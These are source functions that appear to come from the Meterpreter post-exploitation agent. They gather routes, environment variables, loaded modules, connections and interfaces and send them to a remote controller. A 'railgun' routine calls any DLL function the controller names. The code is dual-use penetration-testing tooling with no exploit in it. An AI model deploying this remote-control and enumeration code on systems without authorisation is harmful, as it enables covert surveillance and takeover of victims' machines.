/*! * @brief Add an exception to a packet. * @details When adding an exception, both a TLV_EXCEPTION_CODE and TLV_EXCEPTION_STRING * are added to the packet. * @param packet Pointer to the packet to add the detail to. * @param code Exception code. * @param fmt Form string for the exception string. * @param ... Varargs for the format string. * @return Indication of success or failure. * @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the request packet. * @retval ERROR_SUCCESS Transmission was successful. */ DWORD packet_add_exception(Packet *packet, DWORD code, PCHAR fmt, ...) { DWORD codeNbo = htonl(code); char buf[8192]; Tlv entries[2]; va_list ap; // Ensure null termination buf[sizeof(buf)-1] = 0; va_start(ap, fmt); _vsnprintf(buf, sizeof(buf)-1, fmt, ap); va_end(ap); // Populate the TLV group array entries[0].header.type = TLV_TYPE_EXCEPTION_CODE; entries[0].header.length = 4; entries[0].buffer = (PUCHAR)&codeNbo; entries[1].header.type = TLV_TYPE_EXCEPTION_STRING; entries[1].header.length = (DWORD)strlen(buf) + 1; entries[1].buffer = (PUCHAR)buf; // Add the TLV group, or try to at least. return packet_add_tlv_group(packet, TLV_TYPE_EXCEPTION, entries, 2); }
/* * Returns zero or more routes to the requestor from the active routing table */ DWORD request_net_config_get_routes(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; PMIB_IPFORWARDTABLE table = NULL; DWORD tableSize = sizeof(MIB_IPFORWARDROW) * 96; DWORD index; do { // Allocate storage for the routing table if (!(table = (PMIB_IPFORWARDTABLE)malloc(tableSize))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the routing table if (GetIpForwardTable(table, &tableSize, TRUE) != NO_ERROR) { result = GetLastError(); break; } // Enumerate it for (index = 0; index < table->dwNumEntries; index++) { Tlv route[3]; route[0].header.type = TLV_TYPE_SUBNET; route[0].header.length = sizeof(DWORD); route[0].buffer = (PUCHAR)&table->table[index].dwForwardDest; route[1].header.type = TLV_TYPE_NETMASK; route[1].header.length = sizeof(DWORD); route[1].buffer = (PUCHAR)&table->table[index].dwForwardMask; route[2].header.type = TLV_TYPE_GATEWAY; route[2].header.length = sizeof(DWORD); route[2].buffer = (PUCHAR)&table->table[index].dwForwardNextHop; packet_add_tlv_group(response, TLV_TYPE_NETWORK_ROUTE, route, 3); } } while (0); if (table) free(table); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Write the supplied buffer to the remote endpoint of the channel. * * This will cause the passed buffer to be written in channel->ops.buffered on the * remote endpoint. */ DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten) { Packet *request = packet_create(PACKET_TLV_TYPE_REQUEST, "core_channel_write"); DWORD res = ERROR_SUCCESS; Tlv entries[2]; DWORD idNbo; do { // Did the allocation fail? if (!request) { res = ERROR_NOT_ENOUGH_MEMORY; break; } idNbo = htonl(channel_get_id(channel)); entries[0].header.type = TLV_TYPE_CHANNEL_ID; entries[0].header.length = sizeof(DWORD); entries[0].buffer = (PUCHAR)&idNbo; // if the channel data is ment to be compressed, compress it! if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) entries[1].header.type = TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED; else entries[1].header.type = TLV_TYPE_CHANNEL_DATA; entries[1].header.length = chunkLength; entries[1].buffer = chunk; // Add the TLV data if ((res = packet_add_tlv_group(request, TLV_TYPE_CHANNEL_DATA_GROUP, entries, 2)) != ERROR_SUCCESS) break; // Transmit the packet res = packet_transmit(remote, request, NULL); } while (0); return res; }
/*! * @brief Add an environment variable / value pair to a response packet. * @param response The \c Response packet to add the values to. * @param envVar The name of the environment variable to add. * @param envVal The value of the environment. */ VOID add_env_pair(Packet *response, char * envVar, char *envVal) { Tlv entries[2] = { 0 }; if (envVal) { entries[0].header.type = TLV_TYPE_ENV_VARIABLE; entries[0].header.length = (DWORD)strlen(envVar) + 1; entries[0].buffer = (PUCHAR)envVar; entries[1].header.type = TLV_TYPE_ENV_VALUE; entries[1].header.length = (DWORD)strlen(envVal) + 1; entries[1].buffer = (PUCHAR)envVal; packet_add_tlv_group(response, TLV_TYPE_ENV_GROUP, entries, 2); } else { dprintf("[ENV] No value found for %s", envVar); } }
// Multi-request railgun API DWORD request_railgun_api_multi(Remote *remote, Packet *packet) { DWORD bufferSizeOUT,bufferSizeIN,bufferSizeINOUT,stackSizeInElements; BYTE * bufferIN=NULL; BYTE * bufferOUT=NULL; BYTE * bufferINOUT=NULL; DWORD * stack = NULL; DWORD returnValue; // returnValue of the function const DWORD * stackDescriptorBuffer; // do not free! Just convenience ptr to TLV Tlv stackDescriptorTlv; const char * dllName; const char * funcName; HMODULE hDll; void * funcAddr; DWORD ii; DWORD lastError; Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; Tlv reqTlv; Tlv tmpTlv; DWORD index = 0; Tlv tlvs[4]; dprintf("request_railgun_api_multi() processing %d elements (%d | %d)", TLV_TYPE_RAILGUN_MULTI_GROUP, packet->header.type, packet->header.length); while ( packet_enum_tlv(packet, index++, TLV_TYPE_RAILGUN_MULTI_GROUP, &reqTlv) == ERROR_SUCCESS ) { dprintf("request_railgun_api_multi(%d)", index); // Prepare the OUT-Buffer (undefined content) if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv) != ERROR_SUCCESS ) { dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_SIZE_OUT"); goto cleanup; } bufferSizeOUT = ntohl(*(LPDWORD)tmpTlv.buffer); dprintf("bufferSizeOUT == %d",bufferSizeOUT); if (bufferSizeOUT != 0){ bufferOUT = (BYTE *)malloc(bufferSizeOUT); memset(bufferOUT,'A',bufferSizeOUT); // this might help catch bugs } dprintf("bufferOUT @ 0x%08X",bufferOUT); // get the IN-Buffer dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_IN"); bufferIN = getRawDataCopyFromGroup(packet, &reqTlv, TLV_TYPE_RAILGUN_BUFFERBLOB_IN, &bufferSizeIN); dprintf("bufferIN @ 0x%08X",bufferIN); if (bufferIN == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_IN"); goto cleanup; } dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_IN, size %d",bufferSizeIN); // get the INOUT-Buffer dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT"); bufferINOUT = getRawDataCopyFromGroup(packet, &reqTlv, TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, &bufferSizeINOUT); dprintf("bufferINOUT @ 0x%08X",bufferINOUT); if (bufferINOUT == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT"); goto cleanup; } dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, size %d",bufferSizeINOUT); // Get DLLNAME if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv) != ERROR_SUCCESS ) { dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME"); goto cleanup; } dllName = (PCHAR)tmpTlv.buffer; if (dllName == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME"); goto cleanup; } dprintf("TLV_TYPE_RAILGUN_DLLNAME. %s: ",dllName); // Get funcNAME if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv) != ERROR_SUCCESS ) { dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME"); goto cleanup; } funcName = (PCHAR)tmpTlv.buffer; if (funcName == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME"); goto cleanup; } dprintf("TLV_TYPE_RAILGUN_FUNCNAME. %s: ",funcName); // get address of function hDll = LoadLibraryA(dllName); // yes this increases the counter. lib should never be released. maybe the user just did a WSAStartup etc. if (hDll == NULL){ dprintf("LoadLibraryA() failed"); goto cleanup; } funcAddr = (void*)GetProcAddress(hDll,funcName); if (funcAddr == NULL){ dprintf("GetProcAddress() failed"); goto cleanup; } // get the Stack-description (1 DWORD description, 1 DWORD data) dprintf("Getting TLV_TYPE_RAILGUN_STACKBLOB"); if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &stackDescriptorTlv) != ERROR_SUCCESS ) { dprintf("packet_get_tlv_group_entry failed"); goto cleanup; } dprintf("Got TLV_TYPE_RAILGUN_STACKBLOB, size %d",stackDescriptorTlv.header.length); if ((stackDescriptorTlv.header.length % (2*sizeof(DWORD))) != 0){ dprintf("TLV_TYPE_RAILGUN_STACKBLOB: blob size makes no sense"); } dprintf("Function at 0x%08X.",funcAddr); stackSizeInElements = stackDescriptorTlv.header.length / (2*sizeof(DWORD)); stackDescriptorBuffer = (DWORD*) stackDescriptorTlv.buffer; stack = (DWORD*) malloc((stackSizeInElements)*sizeof(DWORD)); dprintf("Stack blob size: 0x%X",stackDescriptorTlv.header.length); dprintf("stackSizeInElements: %d",stackSizeInElements); dprintf("stack @ 0x%08X",stack); // To build the stack we have to process the items. // depending on their types the items are // 0 - literal values // 1 = relative pointers to bufferIN. Must be converted to absolute pointers // 2 = relative pointers to bufferOUT. Must be converted to absolute pointers // 3 = relative pointers to bufferINOUT. Must be converted to absolute pointers for (ii=0; ii<stackSizeInElements; ii++){ DWORD itemType,item; itemType = stackDescriptorBuffer[ii*2]; item = stackDescriptorBuffer[ii*2+1]; switch(itemType){ case 0: // do nothing. item is a literal value dprintf("Param %d is literal:0x%08X.",ii,item); stack[ii] = item; break; case 1: // relative ptr to bufferIN. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferIN); dprintf("Param %d is relative to bufferIn: 0x%08X => 0x%08X",ii,item,stack[ii]); break; case 2: // relative ptr to bufferOUT. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferOUT); dprintf("Param %d is relative to bufferOUT: 0x%08X => 0x%08X",ii,item,stack[ii]); break; case 3: // relative ptr to bufferINOUT. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferINOUT); dprintf("Param %d is relative to bufferINOUT: 0x%08X => 0x%08X",ii,item,stack[ii]); break; default: dprintf("Invalid stack item description %d for item %d",itemType,ii); goto cleanup; } } dprintf("calling function.."); SetLastError(0); // written for readability. // The compiler MUST use EBP to reference variables, sinde we are messing with ESP. // In MSVC parlance "Omit Frame pointers" OFF! __asm{ pusha // save ESP mov EBX,ESP //"push" all params on the stack mov ECX,[stackSizeInElements] mov ESI,[stack] sub ESP,ECX sub ESP,ECX sub ESP,ECX sub ESP,ECX mov EDI,ESP cld rep movsd //and call! mov eax,[funcAddr] call eax // restore stack. no matter the calling convention mov esp,ebx // starting here we can use vars again mov [returnValue],EAX popa } lastError = GetLastError(); //must be called immediately after function dprintf("called function => %d",lastError); // time to ship stuff back tlvs[0].header.length = sizeof(DWORD); tlvs[0].header.type = TLV_TYPE_RAILGUN_BACK_ERR; tlvs[0].buffer = (PUCHAR)&lastError; tlvs[1].header.length = sizeof(DWORD); tlvs[1].header.type = TLV_TYPE_RAILGUN_BACK_RET; tlvs[1].buffer = (PUCHAR)&returnValue; tlvs[2].header.length = bufferSizeOUT; tlvs[2].header.type = TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT; tlvs[2].buffer = (PUCHAR)bufferOUT; tlvs[3].header.length = bufferSizeINOUT; tlvs[3].header.type = TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT; tlvs[3].buffer = (PUCHAR)bufferINOUT; packet_add_tlv_group(response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, 4); dprintf("added stuff"); cleanup: // todo: transmit error message on failure dprintf("request_railgun_api: cleanup"); if (bufferIN != NULL) {free(bufferIN);} if (bufferOUT != NULL) {free(bufferOUT);} if (bufferINOUT != NULL) {free(bufferINOUT);} if (stack != NULL) {free(stack);} } packet_transmit_response(ERROR_SUCCESS, remote, response); dprintf("transmitted back"); return 0; }
/* * Returns a list of all of the loaded image files and their base addresses to * the requestor. * * req: TLV_TYPE_HANDLE - The process handle to enumerate the images of */ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) { BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed); DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base, DWORD baseSize); DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path, DWORD pathSize); Packet *response = packet_create_response(packet); HMODULE *modules = NULL; BOOLEAN valid = FALSE; HANDLE psapi = NULL; HANDLE handle; DWORD result = ERROR_SUCCESS; DWORD needed = 0, actual, tries = 0; DWORD index; handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE); do { // No response? No sense. if (!response) break; // Open the process API if (!(psapi = LoadLibrary("psapi"))) break; // Try to resolve the address of EnumProcessModules if (!((LPVOID)enumProcessModules = (LPVOID)GetProcAddress(psapi, "EnumProcessModules"))) break; // Try to resolve the address of GetModuleBaseNameA if (!((LPVOID)getModuleBaseName = (LPVOID)GetProcAddress(psapi, "GetModuleBaseNameA"))) break; // Try to resolve the address of GetModuleFileNameExA if (!((LPVOID)getModuleFileNameEx = (LPVOID)GetProcAddress(psapi, "GetModuleFileNameExA"))) break; // Validate parameters if (!handle) { result = ERROR_INVALID_PARAMETER; break; } // The current actual size of the array in bytes actual = sizeof(HMODULE) * 512; do { // Free previous storage if (modules) free(modules); // Allocate storage for the array modules = (HMODULE *)malloc(actual); // Try to enumerate the image's modules if (enumProcessModules(handle, modules, actual, &needed)) { valid = TRUE; break; } } while ((actual < needed) && (tries++ < 3)); // If we failed to succeed... if (!valid) { result = GetLastError(); break; } // Enumerate through all of the modules... for (index = 0; index < needed / sizeof(HMODULE); index++) { char path[1024], name[512]; DWORD base = 0; Tlv tlvs[3]; memset(name, 0, sizeof(name)); memset(path, 0, sizeof(path)); // Query for base name and file name if ((!getModuleBaseName(handle, modules[index], name, sizeof(name) - 1)) || (!getModuleFileNameEx(handle, modules[index], path, sizeof(path) - 1))) { result = GetLastError(); break; } base = htonl((DWORD)modules[index]); tlvs[0].header.length = sizeof(HMODULE); tlvs[0].header.type = TLV_TYPE_IMAGE_BASE; tlvs[0].buffer = (PUCHAR)&base; tlvs[1].header.length = (DWORD)strlen(path) + 1; tlvs[1].header.type = TLV_TYPE_IMAGE_FILE_PATH; tlvs[1].buffer = (PUCHAR)path; tlvs[2].header.length = (DWORD)strlen(name) + 1; tlvs[2].header.type = TLV_TYPE_IMAGE_NAME; tlvs[2].buffer = (PUCHAR)name; packet_add_tlv_group(response, TLV_TYPE_IMAGE_GROUP, tlvs, 3); } } while (0); // Transmit the response packet_transmit_response(result, remote, response); // Cleanup if (modules) free(modules); // Close the psapi library and clean up if (psapi) FreeLibrary(psapi); return ERROR_SUCCESS; }
DWORD linux_get_connection_table(Remote *remote, Packet *response) { struct connection_table *table_connection = NULL; __u32 local_port_be, remote_port_be, uid_be, inode_be; __u32 index; DWORD result; dprintf("getting connection list through /proc/net"); result = linux_proc_get_connection_table(&table_connection); dprintf("result = %d, table_connection = 0x%p , entries : %d", result, table_connection, table_connection->entries); for(index = 0; index < table_connection->entries; index++) { Tlv connection[9]; if (table_connection->table[index].type == AF_INET) { connection[0].header.type = TLV_TYPE_LOCAL_HOST_RAW; connection[0].header.length = sizeof(__u32); connection[0].buffer = (PUCHAR)&table_connection->table[index].local_addr.addr; connection[1].header.type = TLV_TYPE_PEER_HOST_RAW; connection[1].header.length = sizeof(__u32); connection[1].buffer = (PUCHAR)&table_connection->table[index].remote_addr.addr; } else { connection[0].header.type = TLV_TYPE_LOCAL_HOST_RAW; connection[0].header.length = sizeof(__u128); connection[0].buffer = (PUCHAR)&table_connection->table[index].local_addr.addr6; connection[1].header.type = TLV_TYPE_PEER_HOST_RAW; connection[1].header.length = sizeof(__u128); connection[1].buffer = (PUCHAR)&table_connection->table[index].remote_addr.addr6; } local_port_be = htonl(table_connection->table[index].local_port & 0x0000ffff); connection[2].header.type = TLV_TYPE_LOCAL_PORT; connection[2].header.length = sizeof(__u32); connection[2].buffer = (PUCHAR)&local_port_be; remote_port_be = htonl(table_connection->table[index].remote_port & 0x0000ffff); connection[3].header.type = TLV_TYPE_PEER_PORT; connection[3].header.length = sizeof(__u32); connection[3].buffer = (PUCHAR)&remote_port_be; connection[4].header.type = TLV_TYPE_MAC_NAME; connection[4].header.length = strlen(table_connection->table[index].protocol) + 1; connection[4].buffer = (PUCHAR)(table_connection->table[index].protocol); connection[5].header.type = TLV_TYPE_SUBNET_STRING; connection[5].header.length = strlen(table_connection->table[index].state) + 1; connection[5].buffer = (PUCHAR)(table_connection->table[index].state); uid_be = htonl(table_connection->table[index].uid); connection[6].header.type = TLV_TYPE_PID; connection[6].header.length = sizeof(__u32); connection[6].buffer = (PUCHAR)&uid_be; inode_be = htonl(table_connection->table[index].inode); connection[7].header.type = TLV_TYPE_ROUTE_METRIC; connection[7].header.length = sizeof(__u32); connection[7].buffer = (PUCHAR)&inode_be; connection[8].header.type = TLV_TYPE_PROCESS_NAME; connection[8].header.length = strlen(table_connection->table[index].program_name) + 1; connection[8].buffer = (PUCHAR)(table_connection->table[index].program_name); packet_add_tlv_group(response, TLV_TYPE_NETSTAT_ENTRY, connection, 9); } dprintf("sent %d connections", table_connection->entries); if (table_connection) free(table_connection); }
DWORD windows_get_connection_table(Remote *remote, Packet *response) { struct connection_table *table_connection = NULL; struct connection_entry * current_connection; DWORD dwRetVal; int index; DWORD local_port_be, remote_port_be; table_connection = (struct connection_table *)calloc(sizeof(struct connection_table) + 10 * sizeof(struct connection_entry), 1); table_connection->max_entries = 10; dwRetVal = windows_get_tcp_table(&table_connection); if (dwRetVal == ERROR_NOT_ENOUGH_MEMORY) return ERROR_NOT_ENOUGH_MEMORY; dwRetVal = windows_get_udp_table(&table_connection); if (dwRetVal == ERROR_NOT_ENOUGH_MEMORY) return ERROR_NOT_ENOUGH_MEMORY; for(index = 0; index < table_connection->entries; index++) { Tlv connection[7]; current_connection = &table_connection->table[index]; if (current_connection->type == AF_INET) { connection[0].header.type = TLV_TYPE_LOCAL_HOST_RAW; connection[0].header.length = sizeof(__u32); connection[0].buffer = (PUCHAR)¤t_connection->local_addr.addr; connection[1].header.type = TLV_TYPE_PEER_HOST_RAW; connection[1].header.length = sizeof(__u32); connection[1].buffer = (PUCHAR)¤t_connection->remote_addr.addr; } else { connection[0].header.type = TLV_TYPE_LOCAL_HOST_RAW; connection[0].header.length = sizeof(__u128); connection[0].buffer = (PUCHAR)¤t_connection->local_addr.addr6; connection[1].header.type = TLV_TYPE_PEER_HOST_RAW; connection[1].header.length = sizeof(__u128); connection[1].buffer = (PUCHAR)¤t_connection->remote_addr.addr6; } local_port_be = htonl(current_connection->local_port); connection[2].header.type = TLV_TYPE_LOCAL_PORT; connection[2].header.length = sizeof(__u32); connection[2].buffer = (PUCHAR)&local_port_be; remote_port_be = htonl(current_connection->remote_port); connection[3].header.type = TLV_TYPE_PEER_PORT; connection[3].header.length = sizeof(__u32); connection[3].buffer = (PUCHAR)&remote_port_be; connection[4].header.type = TLV_TYPE_MAC_NAME; connection[4].header.length = strlen(current_connection->protocol) + 1; connection[4].buffer = (PUCHAR)(current_connection->protocol); connection[5].header.type = TLV_TYPE_SUBNET_STRING; connection[5].header.length = strlen(current_connection->state) + 1; connection[5].buffer = (PUCHAR)(current_connection->state); connection[6].header.type = TLV_TYPE_PROCESS_NAME; connection[6].header.length = strlen(current_connection->program_name) + 1; connection[6].buffer = (PUCHAR)(current_connection->program_name); packet_add_tlv_group(response, TLV_TYPE_NETSTAT_ENTRY, connection, 7); } dprintf("sent %d connections", table_connection->entries); if (table_connection) free(table_connection); return ERROR_SUCCESS; }
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); Tlv entries[8]; /* 0: Index 1: Name 2: Description 3: Type 4: MTU 5: Wireless? 6: Accessible? 7: DHCP? */ unsigned int idx = 1; HANDLE hCfg; check_pssdk(); hCfg = MgrGetFirstAdapterCfg(hMgr); do { unsigned char *aname = (unsigned char *)AdpCfgGetAdapterNameA(hCfg); unsigned char *adesc = (unsigned char *)AdpCfgGetAdapterDescriptionA(hCfg); unsigned int ahand = htonl((unsigned int)hCfg); unsigned int atype = htonl(AdpCfgGetAdapterType(hCfg)); unsigned int amtu = htonl(AdpCfgGetMaxPacketSize(hCfg)); unsigned int aidx = htonl(idx); BOOL awireless = AdpCfgIsWireless(hCfg); BOOL ausable = AdpCfgGetAccessibleState(hCfg); BOOL adhcp = AdpCfgGetDhcpState(hCfg); memset(entries, 0, sizeof(entries)); dprintf("sniffer>> interface %d - %s - %s", idx, aname, adesc); entries[0].header.type = TLV_TYPE_UINT; entries[0].header.length = sizeof(unsigned int); entries[0].buffer = (PUCHAR)&aidx; entries[1].header.type = TLV_TYPE_STRING; entries[1].header.length = strlen(aname)+1; entries[1].buffer = aname; entries[2].header.type = TLV_TYPE_STRING; entries[2].header.length = strlen(adesc)+1; entries[2].buffer = adesc; entries[3].header.type = TLV_TYPE_UINT; entries[3].header.length = sizeof(unsigned int); entries[3].buffer = (PUCHAR)&atype; entries[4].header.type = TLV_TYPE_UINT; entries[4].header.length = sizeof(unsigned int); entries[4].buffer = (PUCHAR)&amtu; entries[5].header.type = TLV_TYPE_BOOL; entries[5].header.length = sizeof(BOOL); entries[5].buffer = (PUCHAR)&awireless; entries[6].header.type = TLV_TYPE_BOOL; entries[6].header.length = sizeof(BOOL); entries[6].buffer = (PUCHAR)&ausable; entries[7].header.type = TLV_TYPE_BOOL; entries[7].header.length = sizeof(BOOL); entries[7].buffer = (PUCHAR)&adhcp; packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8); idx++; }while((hCfg = MgrGetNextAdapterCfg(hMgr,hCfg)) != NULL); packet_transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; }
DWORD get_interfaces_windows(Remote *remote, Packet *response) { DWORD result = ERROR_SUCCESS; DWORD tlv_cnt; // Most of the time we'll need: // index, name (description), MAC addr, mtu, flags, IP addr, netmask, maybe scope id // In some cases, the interface will have multiple addresses, so we'll realloc // this when necessary, but this will cover the common case. DWORD allocd_entries = 20; Tlv *entries = (Tlv *)malloc(sizeof(Tlv) * 20); int prefixes[30]; int prefixes_cnt = 0; DWORD mtu_bigendian; DWORD interface_index_bigendian; ULONG flags = GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST; LPSOCKADDR sockaddr; ULONG family = AF_UNSPEC; IP_ADAPTER_ADDRESSES *pAdapters = NULL; IP_ADAPTER_ADDRESSES *pCurr = NULL; ULONG outBufLen = 0; DWORD (WINAPI *gaa)(DWORD, DWORD, void *, void *, void *); // Use the newer version so we're guaranteed to have a large enough struct. // Unfortunately, using these probably means it won't compile on older // versions of Visual Studio. =( IP_ADAPTER_UNICAST_ADDRESS_LH *pAddr = NULL; IP_ADAPTER_UNICAST_ADDRESS_LH *pPref = NULL; // IP_ADAPTER_PREFIX is only defined if NTDDI_VERSION > NTDDI_WINXP // Since we request older versions of things, we have to be explicit // when using newer structs. IP_ADAPTER_PREFIX_XP *pPrefix = NULL; do { gaa = (DWORD (WINAPI *)(DWORD,DWORD,void*,void*,void*))GetProcAddress( GetModuleHandle("iphlpapi"), "GetAdaptersAddresses" ); if (!gaa) { result = get_interfaces_windows_mib(remote, response); break; } gaa(family, flags, NULL, pAdapters, &outBufLen); if (!(pAdapters = (IP_ADAPTER_ADDRESSES *)malloc(outBufLen))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } if (gaa(family, flags, NULL, pAdapters, &outBufLen)) { result = GetLastError(); break; } // Enumerate the entries for (pCurr = pAdapters; pCurr; pCurr = pCurr->Next) { tlv_cnt = 0; interface_index_bigendian = htonl(pCurr->IfIndex); entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX; entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian; tlv_cnt++; entries[tlv_cnt].header.length = pCurr->PhysicalAddressLength; entries[tlv_cnt].header.type = TLV_TYPE_MAC_ADDR; entries[tlv_cnt].buffer = (PUCHAR)pCurr->PhysicalAddress; tlv_cnt++; entries[tlv_cnt].header.length = wcslen(pCurr->Description)*2 + 1; entries[tlv_cnt].header.type = TLV_TYPE_MAC_NAME; entries[tlv_cnt].buffer = (PUCHAR)pCurr->Description; tlv_cnt++; mtu_bigendian = htonl(pCurr->Mtu); entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU; entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian; tlv_cnt++; if (pCurr->Length > 68) { // Then this is a Longhorn struct version and it contains the // FirstPrefix member, save it for later in case we don't have // an OnLinkPrefixLength pPrefix = pCurr->FirstPrefix; } for (pAddr = (void*)pCurr->FirstUnicastAddress; pAddr; pAddr = (void*)pAddr->Next) { sockaddr = pAddr->Address.lpSockaddr; if (AF_INET != sockaddr->sa_family && AF_INET6 != sockaddr->sa_family) { // Skip interfaces that aren't IP continue; } // This loop can add up to three Tlv's - one for address, one // for scope_id, one for netmask. Go ahead and allocate enough // room for all of them. if (allocd_entries < tlv_cnt+3) { entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3)); allocd_entries += 3; } if (pAddr->Length > 44) { // Then this is Vista+ and the OnLinkPrefixLength member // will be populated prefixes[prefixes_cnt] = htonl(pAddr->OnLinkPrefixLength); } if (pPrefix && 0 == prefixes[prefixes_cnt]) { // Otherwise, we have to walk the FirstPrefix linked list prefixes[prefixes_cnt] = htonl(pPrefix->PrefixLength); pPrefix = pPrefix->Next; } else { // This is XP SP0 and as far as I can tell, we have no way // of determining the netmask short of bailing on // this method and falling back to MIB, which doesn't // return IPv6 addresses. Older versions (e.g. NT4, 2k) // don't have GetAdapterAddresses, so they will have fallen // through earlier to the MIB implementation. free(entries); free(pAdapters); return get_interfaces_windows_mib(remote, response); } if (prefixes[prefixes_cnt]) { entries[tlv_cnt].header.length = 4; entries[tlv_cnt].header.type = TLV_TYPE_IP_PREFIX; entries[tlv_cnt].buffer = (PUCHAR)&prefixes[prefixes_cnt]; tlv_cnt++; prefixes_cnt++; } if (sockaddr->sa_family == AF_INET) { entries[tlv_cnt].header.length = 4; entries[tlv_cnt].header.type = TLV_TYPE_IP; entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr); tlv_cnt++; } else { entries[tlv_cnt].header.length = 16; entries[tlv_cnt].header.type = TLV_TYPE_IP; entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr); tlv_cnt++; entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_IP6_SCOPE; entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id); tlv_cnt++; } } // Add the interface group packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE, entries, tlv_cnt); } } while (0); if (entries) free(entries); if (pAdapters) free(pAdapters); return result; }
DWORD get_interfaces_windows_mib(Remote *remote, Packet *response) { DWORD result = ERROR_SUCCESS; DWORD tlv_cnt; Tlv entries[6]; PMIB_IPADDRTABLE table = NULL; DWORD tableSize = sizeof(MIB_IPADDRROW) * 33; DWORD index; DWORD mtu_bigendian; DWORD interface_index_bigendian; MIB_IFROW iface; do { // Allocate memory for reading addresses into if (!(table = (PMIB_IPADDRTABLE)malloc(tableSize))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the IP address table if (GetIpAddrTable(table, &tableSize, TRUE) != NO_ERROR) { result = GetLastError(); break; } // Enumerate the entries for (index = 0; index < table->dwNumEntries; index++) { tlv_cnt = 0; interface_index_bigendian = htonl(table->table[index].dwIndex); entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX; entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian; tlv_cnt++; entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_IP; entries[tlv_cnt].buffer = (PUCHAR)&table->table[index].dwAddr; tlv_cnt++; entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_NETMASK; entries[tlv_cnt].buffer = (PUCHAR)&table->table[index].dwMask; tlv_cnt++; iface.dwIndex = table->table[index].dwIndex; // If interface information can get gotten, use it. if (GetIfEntry(&iface) == NO_ERROR) { entries[tlv_cnt].header.length = iface.dwPhysAddrLen; entries[tlv_cnt].header.type = TLV_TYPE_MAC_ADDR; entries[tlv_cnt].buffer = (PUCHAR)iface.bPhysAddr; tlv_cnt++; mtu_bigendian = htonl(iface.dwMtu); entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU; entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian; tlv_cnt++; if (iface.bDescr) { entries[tlv_cnt].header.length = iface.dwDescrLen + 1; entries[tlv_cnt].header.type = TLV_TYPE_MAC_NAME; entries[tlv_cnt].buffer = (PUCHAR)iface.bDescr; tlv_cnt++; } } // Add the interface group packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE, entries, tlv_cnt); } } while (0); if (table) free(table); return result; }
